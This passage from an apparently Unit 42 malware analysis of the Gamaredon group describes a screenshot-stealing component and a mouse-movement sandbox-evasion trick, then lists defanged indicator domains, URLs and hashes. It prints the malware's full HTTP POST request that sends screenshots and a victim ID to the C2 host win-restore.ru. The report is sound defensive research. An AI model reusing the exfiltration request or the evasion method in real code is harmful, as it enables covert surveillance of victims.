After the last screenshot was created, it uploads all files from the "store" folder to the C2 server "win-restore\[.\]ru". Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script "vvd.php". For this, the following HTTP request is used which contains also data from the victim as well the JPEG files:  
POST /vvd.php HTTP/1.1 Accept: application/x-www-form-urlencoded Connection: Keep-Alive Content-Type: multipart/form-data; boundary=----------987978B0urd3Gf\_$ Accept-Charset: utf-8 User-Agent: asasing Host: win-restore.ru Content-Length: \<length\> Cache-Control: no-cache ------------987978B0urd3Gf\_$ Content-Type: text/html Content-Disposition: form-data; name="uuid" WIN-MLABCSUOVJB\_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 ------------987978B0urd3Gf\_$ Content-Type: application/octet-stream Content-Disposition: form-data; name="file0"; filename="\<year\>\<month\>\<day\>_\<hour\>\<minute\>\<seconds\>" Content-Transfer-Encoding: 8bit ...JPEG file... ------------987978B0urd3Gf_$ Content-Type: application/octet-stream Content-Disposition: form-data; name="file1"; filename="\<year\>\<month\>\<day\>_\<hour\>\<minute\>\<seconds\>" Content-Transfer-Encoding: 8bit ...JPEG file... ... ------------987978B0urd3Gf_$

|-------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | POST /vvd.php HTTP/1.1 Accept: application/x-www-form-urlencoded Connection: Keep-Alive Content-Type: multipart/form-data; boundary=----------987978B0urd3Gf\_$ Accept-Charset: utf-8 User-Agent: asasing Host: win-restore.ru Content-Length: \<length\> Cache-Control: no-cache ------------987978B0urd3Gf\_$ Content-Type: text/html Content-Disposition: form-data; name="uuid" WIN-MLABCSUOVJB\_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 ------------987978B0urd3Gf\_$ Content-Type: application/octet-stream Content-Disposition: form-data; name="file0"; filename="\<year\>\<month\>\<day\>_\<hour\>\<minute\>\<seconds\>" Content-Transfer-Encoding: 8bit ...JPEG file... ------------987978B0urd3Gf_$ Content-Type: application/octet-stream Content-Disposition: form-data; name="file1"; filename="\<year\>\<month\>\<day\>_\<hour\>\<minute\>\<seconds\>" Content-Transfer-Encoding: 8bit ...JPEG file... ... ------------987978B0urd3Gf_$ |

Finally, it checks if any new command information is available from the C2 server and updates the "desktop.ini" file according to it. Based on functionality, compile timestamps, and binary differencing this malware is likely an updated version of 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824.

#### wmphost.exe

This file runs an infinite loop until mouse movement gets detected, then it exits. This file can be used to circumvent sandboxes that don't simulate mouse movement. To detect if it's running inside a sandbox, another file can scan the list of running processes to see if "wmphost.exe" is present or not.

### Appendix B: Indicators of Compromise

**Domain Names**

admin-ru\[.\]ru  
adobe.update-service\[.\]net  
apploadapp.webhop\[.\]me  
brokbridge\[.\]com  
cat.gotdns\[.\]ch  
check-update\[.\]ru  
childrights.in\[.\]ua  
conhost.myftp\[.\]org  
docdownload.ddns\[.\]net  
downloads.email-attachments\[.\]ru  
downloads.file-attachments\[.\]ru  
dyndownload.serveirc\[.\]com  
e.muravej\[.\]ua  
email-attachments\[.\]ru  
file-attachments\[.\]ru  
freefiles.myftp\[.\]biz  
getmyfile.webhop\[.\]me  
googlefiles.serveftp\[.\]com  
grom56.ddns\[.\]net  
grom90.ddns\[.\]net  
hrome-update\[.\]ru  
hrome-updater\[.\]ru  
loaderskypetm.webhop\[.\]me  
loadsoulip.serveftp\[.\]com  
mail.file-attachments\[.\]ru  
mails.redirectme\[.\]net  
mars-ru\[.\]ru  
msrestore\[.\]ru  
oficialsite.webhop\[.\]me  
parkingdoma.webhop\[.\]me  
poligjong.webhop\[.\]me  
polistar.ddns\[.\]net  
proxy-spread\[.\]ru  
rms.admin-ru\[.\]ru  
samotsvety.com\[.\]ua  
skypeemocache\[.\]ru  
skypeupdate\[.\]ru  
spbpool.ddns\[.\]net  
spread-service\[.\]ru  
spread-ss\[.\]ru  
spread-updates\[.\]ru  
stor.tainfo.com\[.\]ua  
tortilla.sytes\[.\]net  
ukrnet.serveftp\[.\]com  
ukrway.galaktion\[.\]ru  
umachka\[.\]ua  
update-service\[.\]net  
updatesp.ddns\[.\]net  
updateviber.sytes\[.\]net  
webclidie.webhop\[.\]me  
win-restore\[.\]ru  
winloaded.sytes\[.\]net  
winupdateloader\[.\]ru  
www.file-attachments\[.\]ru  
www.win-restore\[.\]ru  
yfperoliz.webhop\[.\]me

**URLs:**

http://childrights.in\[.\]ua/public/manager/img/scrdll.ini  
http://prestigeclub.frantov\[.\]com.ua/press-center/press/chrome-xvnc-v5517.exe  
http://umachka\[.\]ua/screen/dk.tmp  
http://umachka\[.\]ua/screen/screen.tmp  
http://viberload.ddns\[.\]net/viber.nls

**Hashes:**

**Samples using custom developed tools:**

002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705  
08e69f21c3c60a4a9b78f580c3a55d4cfb74729705b5b7d01c1aecfd58fc49e6  
0c47cf984afe87a14d0d4c94557864ed19b4cb52783e49ce96ebf9c2f8b52d27  
0dc1010c3d3766158e2347d10fc78d9223c6e0e3a44aa8a76622aeff7d429ab9  
0f745512940e0efd8f09c6d862571cba2b98fac9a9f7cf30dedcc08ace43a494  
145dab86a43835bb37734c16756d6d64d8e5ac6b87c491c57385e27b564136b8  
222e85e6d07bdc3a2141cdd582d3f2ed4b1ce5285731cc3f54e6202a13737f8d  
2f2b26f2f7d164ea1f529edbc3cb8a1063b39121dad4dd19d8ee4bbbaf25ed37  
3242183b1f0176a2e3cfb6bfef96b9d55c5a59ea9614dbde4ef89979336b5a5d  
3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9  
37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac  
3e5b1116b2dfd99652a001968a05fc962974931a0596153ab0dea8e4a9982f89  
400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501  
598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824  
5b22ace98b57ed19d815c49983c96a3c6ff0b2701e8167d4422c6990982abcf9  
5ec8b7ca4461720bd69fb49b3f6cae637d8ac3bbd675da938bc5a84e9b73b395  
840b3d4cc95dbf311f792a9f50137056deb66bfdbb55eb9f54ff381a0df65656  
90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd  
97ebd7bfad63b36b4572132f6ece359ff9991f269048c0b145411699bfe3dc34  
9a1fd88970da3809f45cef00360d1e54ea11a70035c277c130404a67371e142d  
9cb64d3242d2b591bd2ff13b1aadef2e6b4bf9147f4a0926613b7c9343feb312  
a46508ec9e48c256261b2d1914532a36ac7da093253320135d77581051751b75  
a7e27ff0695a4bdf58c584f48664acd3a385ccebf3a542fdd6d7383f414aa83a  
a804beddd22bb76ea207a9607ed5c888f2f640cbd9ed9a32942fcd0b8a25c4d5  
ae5ab2e887a9b46ea7819b7ebbb8163028e66882c97e75b0698dc3a69a69d7da  
b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875  
b9434e5a14159c49af2d1a5a11d570f195797d6b17aa560c3dde4a5b3486bf2a  
be2be662cc821a924d5641422dd1116e99188c6923da092ca3f0f8f862bd2d2d  
d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726  
d1ba365e93ff0a4f3a2cb1d657568e583e3fbd7dbb1c2c52e28f16480324e3bb  
ddfc6bb4819527b2424d6e1a84f04b67adad79401e39efbffba5b7d727e732f0  
df434f54802a6814628f30cae335c302bae7085c4e8314d71a41a47d9c410c39  
e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4  
f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126

**Samples using bundled commodity tools:**

026be8a873560f1496c6961f6e36c312bdda01beacb17c4b744f35ee1923d061  
03c943f5cba11b09b9c3afa0705d4a027e5a9d81b299711740cc5aedfe4b4aa1  
03e5e99cc8280de4663c4b65bfd26782d4975258808a63a4b20bc068008df7f5  
059e40ba91b2b2d827c200476fcbd0fad0d43ab198d0c206c996777d27e6de65  
0669e61e51cf43daa431d52b5461c90bdce1b1bee03b087e4406c30264dcb9a4  
068b9a9194efacc16cf142814e79b7041b6ab3d671a95bb508dbd30061c324aa  
0b4a90b823a581311c4acb59f35e32f81f70ca16a2538f54f4dbe03db93350df  
0b5316d723d1ebbec9aba0c9ff6761050305d644c3eeb5291b4e2c4de9e5fa15  
0b8d59312699739b6e6cb7aeb0f22a2eaebbb0fd898a97ef9b83e8d8e9ce67a0  
0dd13d2d0edbcf9d1825c2bfc165876ada2e4d04e2981a0003cb6503fad2287b  
0ddb7867e31f3f30cd1cfe74393f8ac5bbdc61538278de9219a49345f0d3af7f  
13fed3accac4f38f28e606b110a3b7924d9c7a1a911f8c0613d0bb791e715267  
151cf4c83722ba171ae42640e5e13af67ca06ee0a06a74afa53931acf6ac1506  
17006d77cc1459aa3d70e4e9377edb2547a7446647aa9872c9dd9ad860ed7e39  
1ec7e595677038145991c6d84dc7808602142f258c1f90e9486cca0fe531d74f  
208dc592111a8221a9c633efc120b890585f9a67ed340cbb5ec9db4cd5e164e4  
2124adbee89f2c1cb65896bed26e7ffa8bf0fcbdfeb99a9e751fea9cca7a896b  
22e97292671ada8deef4329eb115c52f6f1bc598bcf01a3961f1c35a2230a013  
259a78122ef51ae503059143bf36941fc6090be83213d196ba3051ba36a0b2a1  
26564c23530dd14e0042e074f4178a5b2ad6fc8f51f10138fc39941a6303bff9  
29453fa1772b6d7d33842d6abbe0cb55c4a4b66a00f43284c8724d7c16749a7d  
2a072d9ce63a94d2530cf9f18a232c6a09f6c7bdff9dbe27faceef53604145ea  
2c02d3d3fadd76f9d21f5c093459ddc0045c94f17679269eb7a2990a1a88cb42  
2d55000bb5cb9e3e1f137810c2e1eb899f68c40e4a6f6307f226c7b8af208abd  
2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20  
2e89436b355550ceb361fac1b03b78b71eda11d25f26223ac5c8c34ed8972a05  
32b0e6394b110860371da5541946a6dcc85358a3951eddc86fdaf5794527c150  
33934fcfae5760316b3f40e013cbb03d8086f8c30f9a4ba9bed3f9486a530796  
34d86602882e86f8aaaeb7513126c8579a4489f2be31c279188e2f2ca8a0e141  
390162dae62a0347e35cf5dad093cfc2f7d4ded62fba9d2df7af6133feb41ee0  
3ef8602579c6b145fbaafc8970b4c9a6e7bebd11eb5e37eecaa67b4572c6038b  
420acd7e8598fe994b59bf5d30f89e1c11b36cbef464a4786694cf9eada8dd4c  
42b4c39179f76ea9eb5835b55a3cf4d8dbb29d42ee0622ad2e89ca48d01e8988  
42eed03907c9dfa0e566fbe5968cdb5a1b7b5e18521f7327185ed2208c6c29b4  
46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d  
47d929c69bfd8d8efb9c280eabec2f73d4bddf1c3c30120c3fb6334623469888  
505ef8cbc1271ce32f0c473468d75a1aba5073c37b2e6b49293ddc9efcb4ac96  
5230453eeb98c5a183129ed8b918b429e96020887302ba30941c408108a1ab84  
5363220b532d7da378b338e839a501ae5c006cc03c8b2d3627c480d64deb1221  
558f33d478091993e5b5921604f8c3873efc87f551fddf61612b5c64d5b610f6  
55c76f4f93f9e155fbb6a28447f97c1ccda0081061dc3cb9973d42c1686964b7  
56c8246819f7de5cba91001793831441d4ce998ccb8237cb96c9f52e88ea384b  
59bddb5ccdc1c37c838c8a3d96a865a28c75b5807415fd931eaff0af931d1820  
5ac627f8964d3b9cad69f21e3b8f27305f1f68f49e4f4fae2c73949a04b32692  
5ccc76ae1cdf668ba7f89c6cbd0bad44f148cbee736320ead237262ba170ffba  
5cd4401c1dae9b9ecd75c96ab29dc64ce40bef3acc6faf7c001ff98ebd3b3413  
5cd72eaf555813f1ee187def594584f5cfc6a5e83086f35e281327b5210adffb  
5f8293eda9fb40684caddf576eba6c81f3a06911ca9e4ecf84ede3b2891cff5e  
6c258151c593268c13c252d8f275192a6f7a74d5de5754f2cf20fb94be7ee6ea  
0458e168baa4fa5942892065925ac82b12245551b539d54c2884b3a21c2699d8  
877f1de209eb9d8b2a20a76f8773d12e5a1fcde4148868c7b73added392f62f6  
29c728a169c5d18298e77db161dd5d2f6396ceca9ee7849b63ff8a8bc11f911e  
98e092b7bfc3bbdaeb82e05de14ba5835c6ac626c17de9eef2049796a031dd10  
27e08fb90ada2fd8ce6b6149786edd3b814dd0324257ebd919ed66ada0334b21  
9f651ae6ea538238748614a7f86fe2b0f76e881d6c38da581f284e4b6f79b0ca  
f47115ea58615781e56dcac673c19edf7ce00defd7ada709ae97b0708d3eac1e  
b80719854f8744ba62e9f0e774c09e2e2ed79dd37f9f94ba3ed05ec8507d55e6  
467f04914a1e6093bdaf5c28884bf95ec738234033b3292d289a0799de196d49  
5c47d18b3f0e0274c6a66b2eab27d47c73a0105c263d41c6473aba9a28d0a4ba  
01c5729ac1ae3928053c085fd616323a3715863ab3d7e9b8106c09e24df34183  
5b6a691cf8faf238b27861941a1b667d889889cc9711a3e561403d6a6ed292c9  
e2688f72cc7ae836be19e765e39318873554ee194a09945eb3f3805d04f256ca  
9f0228e3d1577ffb2533584c2b1d87ebee0c0d490f981e61d18bb27ab02e52cb  
2617f9301869304b88d8a3a4f7b2eab6b0edf264cc1a28b99f5685959242ec39  
f3107a5a00f36e12be7cc2e37c35903ef855b8043492af374ea918385821443c  
63fcfab8e9b97d9aec3d6f243003ea3e2bf955523f08e6f1c0d1e28c839ee3d5  
05cbe01b1125897e0e982c587a10a72f4df795b844a4a2c4cec44aee7f30ce94  
5a7da102c11960b9651650143a4a08ae4ce97d68dff999961f1ffc792531afeb  
df6112e6bad4125b80b8829c13a2ca523bb82cf303cf531389d8795e7512c7e6  
cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31  
e79dbcc8b60da280e53d9cf818eee1de34251e0551b9947bb2b79a31b131417e  
a73eac15797130c381b5b4a65c3fb1cfc723b1586a1882c981211787bba285a6  
3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b  
f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd  
ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc  
550ee89d5df17f90ba7689d957cd067dcdbe3d957c5369ea28d925e02ccc8ce6  
f77d7940c51c2a1eab849dbd77e59c683ebf7820799ef349e7da2583e1aa11ae  
2c5d55619d2f56dc5824a4845334e7804d6d306daac1c23bec6f078f30f1c825  
7231177a115656041ba4e5b3cf0bf7a547b074f03592351484267e25cda7c899  
d5405f99cec0166857274b6c02a7ef52b36274fedb805a17d2089fd24ed133cf  
81921b6a7eba39a3f73895a57892ed3a46ab6365ac97d550ca3b9bff46c7a1c2  
1eef9f8d7d3099b87be7ac25121f9d2ccacfb5ccf02b508fb2036b6e059c525f  
5255061c3600df1a94b376fca40f3ccb69d1cb6dd42aa744b20a643c7292d20c  
b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13  
5fb7f6f953be3b65d88bd86d1391ebc9f88fc10b0ef23541463ebf5b157f695c  
6016cf9898d74e2e9030be7c987964d817ba28ad2253d1da54c81a1bf49db836  
621e55421dffae981e3e933c65626314d5610c7c08f76f83a3d07f0ec6c36e2d  
6ccc24971073d24d90c4cbaf83dfbae2969cbf527e319c7ee9a4babcbe88e456  
6f8da9180eebe02ba35317cb8aee5c8df6ac29795af70eb9430c3588d457aad6  
71c5b899a5187baeb8f605ca39ca56bf05a63025a8f9f84c45590d8345e5d349  
725b7d92ed66be160f2e04395008a65c72814d5ddf842d9778396f6c6679d85e  
72d4b780a90ede7ea152f5da0973965cab31d2813fa8c2fe0e1cb611f5ca257e  
73670d06851f588c7df44dc478f49883406697c48c618438e0f249b7a916552e  
74e017853fbc85ee77ca7476cd25423815602aaaa02b29e0003c95c9551b8890  
75d2367dc79d9f8aed165729df90ed5d28fefe267778dbe4d3d74aafa75d66e0  
7a5a1c6ea0c2f017df9f06975c93a356cac20b19031fcde96136fa5881e5ef3a  
7adb049e0b49312aea904c70e16d0e7f03d01aae4bf8ac867e8219ced4e6e057  
7bfa85bec239b6c4419b2d57149c5960263c80e493f888d03ceaaa3f945b1b25  
7f324b658f587b3b27921ebeba5ac25aebd669b33e6801fa9581de8c2eb0df2e  
7fee970748eb83045e36911dafdaee0d4069ebe72c059cc7de3d65539012c2e9  
823793a37d748ffe708864c16c853c67a5db812712481da1d24790b455163940  
8512aabfa0175684bdbb77481d6b272b63dbc4249b04a44e1003b7d8fdea0a89  
86c81f03cf7d8f8af38c2559dbf506cccdc25579f3b29fb574f823a67f99a0a3  
88ae7e60b9dd57fc6b2d667ce33fb29c0f75d37eb7c837ccf56cb7994386d5ef  
8b50e3ca06a22d0be6a71232b320137c776f80ac3f2c81b7440b43854b8a3bf0  
8bd40e7fe6bbd4d5810db2c142186bb58da445a132fb6f9ff01c46947a532244  
8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845  
8d38726d674279705fe06b4b45bbbaef10756c547d560cea6998e23dba09f80c  
8db47439685edc683765abb5e6d7d0d05479bf9ee164992db9e8ce97fe43ee2f  
95de2e16f1b05d1b45b1d182c1503568c2e5fd4a81ac52fe1bc9e881d1a272b1  
95e3204228341852b7c97f357f799e7ec9688abe1262436b569e56397f1fd864  
98caf00760d772598386eb8d4f26caf92fb891915ac08da6bf830be5e45278d3  
99c9440a84cdc428ce140de901452eb334faec49f1f6258acdde1ddcbb34376e  
9a8776e4ae38cf529bab28947b31ade84301262b7996dc37ec47afa4fb4cf6e1  
9beb1d2a03ff2d4c15913de0f87b72074155b44df791bd967dac8155e97a0e06  
9c8d518fbbc8cbb25fa309f5396efa5749e57a3b0158779404c8d3e92baf6596  
a064a28e5e7409a96bba93fc57f44cadc3492bb0f49792c89c973e30b0f5d498  
a194b47043356fa365d98a5f7c582b6f87fac90acf0f469ed3651cfe2fd7b2c9  
a21dfb8e8b7c8dfbeeb4d72e6ef1f22c667b8968b3a3b1dcce99f44faab05903  
a2e0fe2d385dabcdfb024100216d259ddd1fa9907e982d297846fd29b8d4d415  
a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599  
a595da9a2fa58d4f8be0bfbcf7f4c950435ff5289dd1ccf2c65eec73a0afe97f  
a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b  
aa860d405746401ae4155485326fdeb39718832c77c73540d48f4fbb8e596215  
ab6832a4432b4bdaec0706f7b00a369c48175eac9abc3e537032b1f5d26a993b  
ada2f0703614b3447d427827777af5d4ee9ffe9179498970326926751a4f8d65  
b16d317c11228bd3573126a0e1bc0bbf35d84a4a1f47dfb06b70634a21fd9823  
b3665548cc0f2fce3593fb7139f49588faa1d327b6d23feb564ca4194053ae8a  
b5578c48a11533871ae91e6d5632aafc25d3976c0626d62abab306663566d024  
b67a6f87fc3fd7c5c3666acac5918c8c08a53ab6a966f4d1daf38105a566ede1  
b6abc8ab631dcf52e028ab26dbe3bb94022d69193c0acc8642cbd6329cbb23ef  
b7e117eb342b0d450095805073326989c792bf5ccbbdcd5f4a9ace50e517412e  
bb14abc9b0798c7756a6ed887308a3e6210cc08a5149dc1360fdd1f5bca27cca  
bdadb319f071f02462d107380102b669e407bb2a0b20e77a9a8a5726b4cbbc4b  
bf2383cfbee4cbb0bda2614839454ab1724c9bbfff8b4b48e0f48579ae220c10  
bf52b44168de1855d83186163a2d5f29e488ddafdfd5447e211aec4a769cf74a  
c0d5cf7a0035deda5646aaf520b3ff632aa6be76ddbc88f38ddc11e77ffb40b4  
c1a82a788df7418712664138c0fdb05232036a27ab0998479d60c656998849f1  
c63a523834ab59ab5621a0acb156a9b901befe806044642fe5fec8a0ba545e70  
d05d3f3582e13eaf5f39d7143ca1a4b1367cc5267bf9958a15e27cf53e059518  
d0e456cff03c2483ded9a0f8c1b99f9fefb6ba47dcaf949dae27abe940ee20e6  
d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385  
dada74663e3e29ee26bfd03a888f0bda9fc81e148511fa98f73f8e8a915933cc  
db3ffcbf136e0268ec66f28b30fa8ba350f74e02e8e737e61cc6ef8d8258027e  
dd26b85b6568595b1d2bbc47ce47d071ede75665fbd779d637b74663ead5539e  
df9038660164623a827a8119d4cb3d71d0a5288b12bdfdd32c72769bf90a9ea0  
dfed16e9184a86e6fcd17a98f127410840d058db667e9975b43add100c33122e  
e0063d2524a89159cf5da12661225fbb27725bbd72acd9497b7207ecf2f3aeb6  
e00c55ddda9cbb82fb47924fafdf40c3394dc1127d9901c71a69ef3ef664b817  
e14a51d69211948163ab20b0cc68adf410bb821f2890f55d2d202c745f4ec1b8  
e2e3f243bbcad666852e64202d35f6dd88c58f5d24435d92975697b0efa8a775  
e37e25739e8bc4620d9d37d8f6b400cd82c85b89d206436ba35930ed96db6eb0  
e55b5ede808b6d491f18737d6a1cf34b5178f02e9ea01d7cff31a449888dbd73  
ed28d9207acac2afff817eaa56d1599422e23946dffa4f8bade376d52a6af7d4  
eda0853e814ee31a66c3b42af45cd66019ffd61eac30e97bd34c27d79253a1bb  
f1b3e58d060803b0ff6008386bab47fb8099ac75ee74f385ac34340a28bf716e  
f2091f71227180d74ba1ba4607635e623553b1826314dca91cb31839eb00c4ea  
f214d55ccb5db5edbaafe7d40b240c79f04c70d441adee01ef438f776eb37037  
f571ddc894915dee136cf24731ff3d79fe4f811b112d122a34a128628cb43c4a  
f7676d2a28992a382475af2ae0abca4794e1397ef3327f30f7d4cbdbc2ca0a68  
f8e20894c8c18d79e80b431008aa8bef46cc10a355a4934f9cc40ffd637b8890  
fa1bf7565352099b74624c8beeff6620411e1efe00e54f8b4190f69e243d5811  
fa784f69265ebe5e150cf5956a40d86335d1a5edc57fffcc7ce6eedc591c2751

Back to top

### Tags

* [Gamaredon](https://unit42.paloaltonetworks.com/tag/gamaredon/ "Gamaredon")
* [Threat research](https://unit42.paloaltonetworks.com/tag/threat-research/ "threat research")
* [Toolset](https://unit42.paloaltonetworks.com/tag/toolset/ "Toolset")
* [Trident Ursa](https://unit42.paloaltonetworks.com/tag/trident-ursa/ "Trident Ursa")  
  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations](https://unit42.paloaltonetworks.com/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/ "menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations")

### Related Articles

* [Threat Actor Groups Tracked by Palo Alto Networks Unit 42 (Updated Aug. 1, 2025)](https://unit42.paloaltonetworks.com/threat-actor-groups-tracked-by-palo-alto-networks-unit-42/ "article - table of contents")
* [One Step Ahead in Cyber Hide-and-Seek: Automating Malicious Infrastructure Discovery With Graph Neural Networks](https://unit42.paloaltonetworks.com/graph-neural-networks/ "article - table of contents")
* [Russia's Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine](https://unit42.paloaltonetworks.com/trident-ursa/ "article - table of contents")

## Related Malware Resources

![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/)

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")

* [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE")  
  ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/)

* [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel")

* [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2")

* [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure")  
  ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/)

* [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI")

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America")  
  ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/)

* [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa")

* [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID")

* [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams")  
  ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/)

* [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor")

* [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin")

* [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution")  
  ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg)  
